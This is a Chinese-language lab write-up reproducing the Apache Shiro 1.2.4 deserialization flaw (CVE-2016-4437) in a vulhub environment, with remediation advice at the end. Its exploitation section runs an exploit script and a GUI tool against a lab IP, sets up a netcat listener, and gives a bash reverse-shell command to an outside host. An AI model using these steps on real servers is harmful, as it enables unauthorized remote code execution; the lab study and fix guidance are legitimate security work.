Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

Shiro漏洞复现

  • 前言
  • 一、Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞利用
      • 1.py脚本
      • 2.ShiroExploit.jar工具
    • 0x04 漏洞修复
  • 总结

所有文章,仅供安全研究与学习之用,后果自负!


前言

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

靶场环境来自 vulhub

一、Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

0x01 漏洞描述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

利用方式 读取cookie -> base64解码 -> AES解密 -> 反序列化

0x02 影响范围

Apache Shiro < 1.2.4

0x03 漏洞利用

1.py脚本

特征判断
返回包中包含rememberMe=deleteMe字段。
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第1张图片

shiro-1.2.4_rce.py
脚本直接利用

python shiro-1.2.4_rce.py http://192.168.157.129:8080

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第2张图片
选择 linux 或者windows 系统

kali 监听

nc -lvvp9897

脚本输入执行的命令

bash -i >& /dev/tcp/192.168.157.137/9897 0>&1

在这里插入图片描述
连接成功
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第3张图片

2.ShiroExploit.jar工具

工具链接

https://github.com/RandomRobbieBF/marshalsec-jar

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第4张图片

在这里插入图片描述

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第5张图片
下一步后
选用ceye.io探测 下一步
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第6张图片

查找到密钥后
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第7张图片
反弹shell
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第8张图片
成功
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现_第9张图片

0x04 漏洞修复

1.确定自己使用的shiro版本要高于1.2.4;
2.在代码中全局搜索 “setCipherKey(Base64.decode(” 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

总结

你可能感兴趣的:(漏洞复现,安全,web安全,linux)